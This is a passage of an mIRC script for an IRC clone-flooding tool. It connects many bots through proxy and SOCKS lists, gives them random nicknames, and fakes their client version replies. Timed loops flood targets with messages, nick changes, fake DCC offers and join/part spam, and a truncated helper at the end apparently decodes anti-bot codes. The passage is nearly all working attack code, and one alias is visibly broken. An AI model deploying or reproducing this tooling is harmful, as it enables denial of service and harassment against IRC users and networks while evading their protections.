.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) { .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $did(Clone,117) $did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0) }
}
If ($Did(91) == PRIVMSG) && ($Did(99) !isnum) && ($Did(96).State == 0) && ($Did(97).State == 1) {
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
}
If ($Did(91) == PRIVMSG) && ($Did(96).State == 1) && ($Did(97).State == 0) {
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 0 Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NICK
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 2) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 3) Clone.Actions :KEY: %key $Did(Clone,40) NICK
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 4) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 5) Clone.Actions :KEY: %key $Did(Clone,40) NICK
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 0 Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NICK
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 2) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 3) Clone.Actions :KEY: %key $Did(Clone,40) NICK
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 4) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 5) Clone.Actions :KEY: %key $Did(Clone,40) NICK
}
If ($Did(91) == PRIVMSG) && ($Did(96).State == 1) && ($Did(97).State == 1) {
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 0 Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NICK
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 2) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 3) Clone.Actions :KEY: %key $Did(Clone,40) NICK
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 4) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 5) Clone.Actions :KEY: %key $Did(Clone,40) NICK
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 0 Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NICK
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 2) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 3) Clone.Actions :KEY: %key $Did(Clone,40) NICK
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 4) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 5) Clone.Actions :KEY: %key $Did(Clone,40) NICK
}
}
On *:Dialog:Clone:SClick:*: {
If ($Did == 31) {
If (*.*.* iswm $Did(29)) && ($Did(30) <= 65535) && ($Did(30) >= 1) { Did -a $DName 34 $Did(29) $Did(30) | Did -o Clone 102,10 1 $Did(Clone,34).Lines }
Else { Clone.Error Invalid Sock/Proxy or Port }
}
If ($Did == 32) {
Var %I = $Did(Clone,34,0).Sel
While (%I) {
Did -d $DName 34 $Did(Clone,34,%I).Sel | Did -o Clone 102,10 1 $Did(Clone,34).Lines
Dec %I
}
}
If ($Did == 33) {
Var %F = $SFile($mIRCDir,Clone,Import)
If (%F) {
Var %I = 1
While ($Read(%F,%I)) {
Var %F1 = $Read(%F,%I)
If ($Gettok(%F1,0,58) == 2) { Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) }
If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { Clone.Error Invalid Sock/Proxy file | Return }
Else { Did -a $DName 34 %F1 }
Inc %I
}
}
Did -o Clone 102,10 1 $Did(Clone,34).Lines
}
If ($Did == 83) {
Var %I = 1
While ($CB(%I)) {
Var %F1 = $CB(%I)
If ($Gettok(%F1,0,58) == 2) { Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) }
If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { Clone.Error Invalid Socks/Proxys in Clipboard | Return }
Else { Did -a $DName 34 %F1 }
Inc %I
}
Did -o Clone 102,10 1 $Did(Clone,34).Lines
}
If ($Did == 35) { Did -r $DName 34 | Did -o Clone 102,10 1 $Did(Clone,34).Lines }
If ($Did == 11) { Did -b $DName 14 | Did -b $DName 15 | Did -b $DName 16 }
If ($Did == 12) { Did -e $DName 14 | Did -b $DName 15 | Did -e $DName 16 }
If ($Did == 13) { Did -b $DName 14 | Did -e $DName 15 | Did -b $DName 16 }
If ($Did == 67) { Did -b $DName 70 | Did -b $DName 71 | Did -b $DName 72 | Did -e $DName 66 }
If ($Did == 68) {
Did -e $DName 70 | Did -b $DName 71 | Did -e $DName 72
If ($Did(70)) { Did -e $DName 66 }
Else { Did -b $DName 66 }
}
If ($Did == 69) {
Did -b $DName 70 | Did -e $DName 71 | Did -b $DName 72
If ($Did(71)) { Did -e $DName 66 }
Else { Did -b $DName 66 }
}
If ($Did == 16) {
Var %F = $SFile($mIRCDir,Clone,Import)
If (%F) { Did -ra $DName 14 %F }
}
If ($Did == 72) {
Var %F = $SFile($mIRCDir,Clone,Import)
If (%F) { Did -ra $DName 70 %F | Did -e $DName 66 }
}
If ($Did == 60) {
If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }
Else { Did -b $DName 58 }
}
If ($Did == 41) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) JOIN $Did(42) }
If ($Did == 43) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PART $Did(44) : $+ $Did(45) }
If ($Did == 46) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) JOINPART $Did(47) : $+ $Did(48) }
If ($Did == 49) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(50) : $+ $Rand(a,z) $+ $Rand(a,z) $+ $Rand(a,z) $Did(51) $Rand(a,z) $+ $Rand(a,z) $+ $Rand(a,z) }
If ($Did == 52) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) NOTICE $Did(53) : $+ $Did(54) }
If ($Did == 55) { Clone.Flood }
If ($Did == 58) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(59) : $+ $Did(60) $+ }
If ($Did == 61) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(62) :DCC SEND $Did(63) $Rand(0,4294967294) 1024 $Rand(10000,500000) $+ }
If ($Did == 64) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(65) :DCC CHAT chat $Rand(0,4294967294) 1024 }
If ($Did == 66) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) NICK }
If ($Did == 73) {
Var %I = 1
While ($Did(74,%I)) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) RAW $Did(74,%I) | Inc %I }
}
If ($Did == 77) {
If (!$Did(34,1)) && (($Did(6) == Proxy) || ($Did(6) == Socks4) || ($Did(6) == Socks5) || ($Did(6) == Socks4&5)) { Clone.Error Enter $Did(6) to the Proxy/Socks List }
ElseIf (*.*.* !iswm $Did(2)) { Clone.Error Enter a valid Server }
ElseIf ($Did(4) <= 0) && ($Did(4) >= 65535) { Clone.Error Enter a valid Port }
ElseIf (!$Did(10)) || ($Did(10) !isnum) { Clone.Error Enter the number clones to connect }
ElseIf ($Did(12).State == 1) && ($Exists($Did(14)) == $False) { Clone.Error Nicklist doesnt Exist }
ElseIf ($Did(13).State == 1) && (!$Did(15)) { Clone.Error Enter a Nickname }
ElseIf (($Did(6) == Socks4) || ($Did(6) == Socks5) || ($Did(6) == Socks4&5)) && ($Remove($Did(2),.) !isnum) { .Enable #Clone.DNS | .DNS $Did(2) }
Else { .TimerClone.Go -o $Did(10) 0 Clone.Go }
}
If ($Did == 78 && $Did(40) == All) { Did -r $DName 38 | Did -ra $DName 24 0 | Did -ra $DName 25 0 | SockClose Clone.* | Unset %Clone.* }
If ($Did == 78 && $Did(40) == Selected) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) QUIT }
If ($Did == 79) { SockClose Clone.* | Dialog -x $DName }
If ($Did == 80) { Clone.IPs }
If ($Did == 84) {
Var %I = $Sock(Clone.*,0)
While (%I) {
If (!$Sock(Clone.*,%I).Mark || $Sock(Clone.*,%I).Mark == 1) { SockClose $Sock(Clone.*,%I) }
Dec %I
}
Did -o Clone 25 1 $Sock(Clone.*,0)
}
If ($Did == 88) { Did -b $DName 86 }
If ($Did == 87) { Did -e $DName 86 }
If ($Did == 93) { .TimerFlood* off }
If ($Did == 96) {
If ($Did(96).State == 1) { Did -r Clone 117 | Did -c Clone 91 3 | Did -b Clone 116,117,91 }
If ($Did(96).State == 0) && ($Did(97).State == 0) { Did -e Clone 116,117,91 }
If ($Did(96).State == 0) && ($Did(97).State == 1) { Did -e Clone 116,117 }
If ($Did(96).State == 0) && ($Did(117) !isnum) { Did -b Clone 55 }
If ($Did(96).State == 1) && ($Did(95) isnum) && ($Did(99) isnum) && ($Did(56)) && ($Did(57) || ($Did(97).State == 1)) { Did -e Clone 55 }
If ($Did(96).State == 1) && ($Did(99) !isnum) { Did -b Clone 55 }
}
If ($Did == 97) {
If ($Did(97).State == 1) { Did -c Clone 91 3 | Did -b Clone 91 }
If ($Did(97).State == 0) && ($Did(96).State == 0) { Did -e Clone 91 }
If ($Did(97).State == 1) && ($Did(117) isnum) && ($Did(95) isnum) && ($Did(56)) { Did -e Clone 55 }
If ($Did(97).State == 1) && ($Did(96).State == 1) && ($Did(95) isnum) && ($Did(99) isnum) && ($Did(56)) { Did -e Clone 55 }
If ($Did(97).State == 0) && (!$Did(57)) { Did -b Clone 55 }
}
}
#Clone.DNS off
On *:DNS: {
If ($RAddress) { Did -ra Clone 2 $RAddress | .TimerClone.Go -o $Did(Clone,10) 0 Clone.Go }
Else { Clone.Error Unable to resolve DNS of $Did(Clone,2) }
.Disable #Clone.DNS
Halt
}
#Clone.DNS End
Alias genHighlighted {
var %i = $Did(Clone,38,0).sel, %t = 0, %n, %all
while (%i) {
var %n = $did(clone,38,$did(clone,38,%i).sel).text
if ($calc($len(%n) + 1 + $len(%all)) > 900) {
set -e %selectednicks. [ $+ [ $1 ] $+ ] - [ $+ [ %t ] ] %all
inc %t
var %all
}
var %all = $addtok(%all,%n,32)
dec %i
}
set -e %selectednicks. [ $+ [ $1 ] $+ ] - [ $+ [ %t ] ] %all
}
Alias Clone.Nicklist.Box.Update {
var %key = $left($md5($ticks),10)
genHighlighted %key
Did -r Clone 38
Var %I = 1
While ($Sock(Clone.*,%I)) {
If ($Sock(Clone.*,%I).Mark && $Sock(Clone.*,%I).Mark != 1) { Did -a Clone 38 $Sock(Clone.*,%I).Mark }
Inc %I
}
var %s = $+($chr(37),selectednicks.,%key,-,*)
var %a = $var($eval(%s,1),0)
While (%a) {
var %g = $gettok($eval($var($eval(%s,1),%a),2),0,32)
While (%g) {
If ($didwm(Clone,38,$gettok($eval($var($eval(%s,1),%a),2),%g,32),1)) {
Did -kc Clone 38 $didwm(Clone,38,$gettok($eval($var($eval(%s,1),%a),2),%g,32),1)
}
Dec %g
}
Dec %a
}
}
On *:SockOpen:Clone.*: {
If ($SockErr) { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
If (Clone.Socks4.* iswm $SockName) { BSet &Clone 1 4 1 $Gettok($LongIP($Did(Clone,4)),3,46) $Gettok($LongIP($Did(Clone,4)),4,46) $Replace($Did(Clone,2),$Chr(46),$Chr(32)) 0 | SockWrite $SockName &Clone }
If (Clone.Socks5.* iswm $SockName) { BSet &Clone 1 5 1 0 | SockWrite $SockName &Clone }
If (Clone.Proxy.* iswm $SockName) {
SockWrite $SockName CONNECT $+($Did(Clone,2),:,$Did(Clone,4)) HTTP/1.0
SockWrite $SockName $CRLF $+ $CRLF $+ $CRLF
}
If (Clone.Normal.* iswm $Sockname) { Clone.Conn.User $SockName }
Did -o Clone 25 1 $Sock(Clone.*,0)
}
On *:SockRead:Clone.Socks4.*: {
If ($SockErr) {
If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
}
Else {
If (Clone.Socks4.* iswm $SockName) && (!$Sock($SockName).Mark) {
SockRead &Read
If ($BVar(&Read,2) == 90) { SockMark $SockName 1 | Clone.Conn.User $SockName }
}
Clone.SockReadInstructions
}
}
On *:SockRead:Clone.Socks5.*: {
If ($SockErr) {
If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
}
Else {
If (Clone.Socks5.* iswm $SockName) && (!$Sock($SockName).Mark) {
SockRead &Read
If ($BVar(&Read,1,2) == 5 0) && ($BVar(&Read,3) != 0) {
Var %Port = $Gettok($LongIP($Did(Clone,4)),3,46) $Gettok($LongIP($Did(Clone,4)),4,46)
Var %Serv = $Replace($Did(Clone,2),$Chr(46),$Chr(32))
BSet &Clone.Send 1 5 1 0 1 %Serv %Port
SockWrite $SockName &Clone.Send
}
If ($BVar(&Read,1,3) == 5 0 0) { SockMark $SockName 1 | Clone.Conn.User $SockName }
}
Clone.SockReadInstructions
}
}
On *:SockRead:Clone.Proxy.*: {
If ($SockErr) {
If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
}
Else {
Clone.SockReadInstructions
}
}
On *:SockRead:Clone.Normal.*: {
If ($SockErr) {
If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
}
Else {
Clone.SockReadInstructions
}
}
Alias Clone.SockReadInstructions {
SockRead %Clone.Read
If (%Clone.Read && $did(clone,87).state == 1 && $did(clone,86).state == 1 && ($Gettok(%Clone.Read,1,32) != PING)) { Echo %Clone.Read }
If (%Clone.Read && $did(clone,87).state == 1 && $did(clone,86).state == 0) { Echo %Clone.Read }
Tokenize 32 %Clone.Read
Unset %Clone.Read
If ($1 == ERROR) && (!$Sock($SockName).Mark) { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
If ($2 == 200) && (*HTTP* iswm $1) { Clone.Conn.User $SockName }
If ($5 == broken) { SockWrite -nt $SockName $16-17 }
If ($5 == response) { SockWrite -nt $SockName $17-18 }
If ($1 == PING) { SockWrite -nt $SockName PONG : $+ $Remove($2,:) }
If ($2 == PRIVMSG) && ($Did(Clone,81).State == 1) {
If ($4 == :PING) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :PING $5 }
If ($4 == :TIME) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :TIME $ASCTime($Calc($Rand($Calc($CTime - 10000),$Calc($CTime + 10000)))) $+ }
If ($4 == :VERSION) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :VERSION Türkçe mIRC v6.35 }
}
If ($2 == 001) && (:* iswm $1) {
Var %I = 1
While ($Did(Clone,19,%I)) { SockWrite -nt $SockName $Replace($Did(Clone,19,%I),^Nick^,$3) | Inc %I }
If ($3) { SockMark $SockName $3 | Did -a Clone 38 $3 }
Did -o Clone 24 1 $Did(Clone,38).Lines
SockWrite -nt $SockName Mode $3 $Did(Clone,18)
}
If ($2 == 433) {
If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) {
If ($Did(Clone,67).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Lower($Clone.RandNick($Rand(5,7))) }
If ($Did(Clone,68).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Read($Did(Clone,70)) }
If ($Did(Clone,69).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Did(Clone,71) $+ $Clone.RandNick(2) }
}
Else {
If ($Did(Clone,11).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Lower($Clone.RandNick($Rand(5,7))) }
If ($Did(Clone,12).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 Clone.Conn.User $SockName }
If ($Did(Clone,13).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Did(Clone,15) $+ $Clone.RandNick(2) }
}
}
If ($2 == NICK) && ($Remove($Gettok($1,1,33),:) == $Sock($SockName).Mark) {
Var %I = 1
While ($Did(Clone,38,%I)) {
If ($Did(Clone,38,%I) == $Remove($Gettok($1,1,33),:)) { SockMark $SockName $Remove($3,:) | Did -o Clone 38 %I $Remove($3,:) }
Inc %I
}
}
}
On *:SockWrite:Clone.*: {
If ($SockErr) {
If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) }
Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) }
}
}
On *:SockClose:Clone.*: {
If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) }
Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) }
}
Alias Clone.Nick { Return $Sock($1).Mark }
Alias Clone.RandNick {
Var %I = $Iif($1,$1,$Rand(3,12)), %J = 1
While (%J
Return %N
}
Alias Clone.Conn.User {
If ($Did(Clone,11).State == 1) {
SockWrite -nt $1 PASS $Did(Clone,86)
SockWrite -nt $1 USER $Did(Clone,88) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Clone.RandNick($Rand(20,70)))
SockWrite -nt $1 NICK $Clone.RandNick
}
If ($Did(Clone,12).State == 1) {
Var %N = $Gettok($Read($Did(Clone,14)),1,32)
SockWrite -nt $1 PASS $Did(Clone,86)
SockWrite -nt $1 USER $Read(ident.txt) "" "" : $Read(real.txt))
SockWrite -nt $1 NICK %N
}
If ($Did(Clone,13).State == 1) {
SockWrite -nt $1 PASS $Did(Clone,86)
SockWrite -nt $1 USER $Did(Clone,88) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Did(Clone,15))
SockWrite -nt $1 NICK $Did(Clone,15) $+ $Clone.RandNick(2)
}
}
Alias Clone.Go {
If (!$Did(Clone,34,%Clone.List)) { Set %Clone.List 1 }
:Again
Var %R = $Rand(0,9999999)
If ($Sock($+(Clone.,$Did(Clone,6),.,%R))) { Goto Again }
If ($Did(Clone,6) == Normal) { SockOpen Clone.Normal. $+ %R $Did(Clone,2) $Did(Clone,4) }
If ($Did(Clone,6) == Proxy) { SockOpen $+(Clone.Proxy.,%R) $Did(Clone,34,%Clone.List) }
If ($Did(Clone,6) == Socks4) { SockOpen $+(Clone.Socks4.,%R) $Did(Clone,34,%Clone.List) }
If ($Did(Clone,6) == Socks5) { SockOpen $+(Clone.Socks5.,%R) $Did(Clone,34,%Clone.List) }
If ($Did(Clone,6) == Socks4&5) { SockOpen $+(Clone.Socks4.,%R) $Did(Clone,34,%Clone.List) | SockOpen $+(Clone.Socks5.,%R) $Did(Clone,34,%Clone.List) }
Inc %Clone.List
Did -o Clone 25 1 $Sock(Clone.*,0)
}
Dialog -l Clone.IPs {
Title "Connected Proxies"
Size -1 -1 254 382
Option Pixels
Edit "", 1, 8 8 236 320, Read Multi autovs vsbar
Text "Number of Connected Proxies:", 3, 8 335 147 16
Text "0", 4, 160 335 25 16
Button &Refresh List, 2, 8 354 235 20
}
On *:Dialog:Clone.IPs:Init:*: { Clone.IPs }
On *:Dialog:Clone.IPs:SClick:2: { Clone.IPs }
Alias Clone.IPs {
If (!$Dialog(Clone.IPs)) { Dialog -md Clone.IPs Clone.IPs }
Did -r Clone.IPs 1
Var %I = 1
While ($Sock(Clone.*,%I)) {
If ($Sock(Clone.*,%I).Mark) && ($Sock(Clone.*,%I).Mark != 1) && (!$DidWM(Clone.IPs,1,$Sock(Clone.*,%I).IP $+ : $+ $Sock(Clone.*,%I).Port)) {
Did -i Clone.IPs 1 1 $Sock(Clone.*,%I).IP $+ : $+ $Sock(Clone.*,%I).Port
}
Inc %I
}
var %P = $Did(Clone.IPs,1).lines - 1
Did -o Clone.IPs 4 1 %P
}
alias botfnick {
return $remove($gettok($1,1,33),:)
}
alias giriskod {
if ( %kodsatir == $null ) || ( %kodsatir == 8 ) { set %kodsatir 1 }
if ( $2- != 0,0##########0,0##########0,0########## ) {
hadd -m kod satir $+ %kodsatir $2-
inc %kodsatir
}
if ( %kodsatir == 8 ) { kod $1 }
}
alias kod {
hadd -m kod0 satir1 0,0##4######0##
hadd -m kod0 satir2 0,0#4##0####4##0#
hadd -m kod0 satir3 0,0#4##0####4##0#
hadd -m kod0 satir4 0,0#4##0####4##0#
hadd -m kod0 satir5 0,0#4##0####4##0#
hadd -m kod0 satir6 0,0#4##0####4##0#
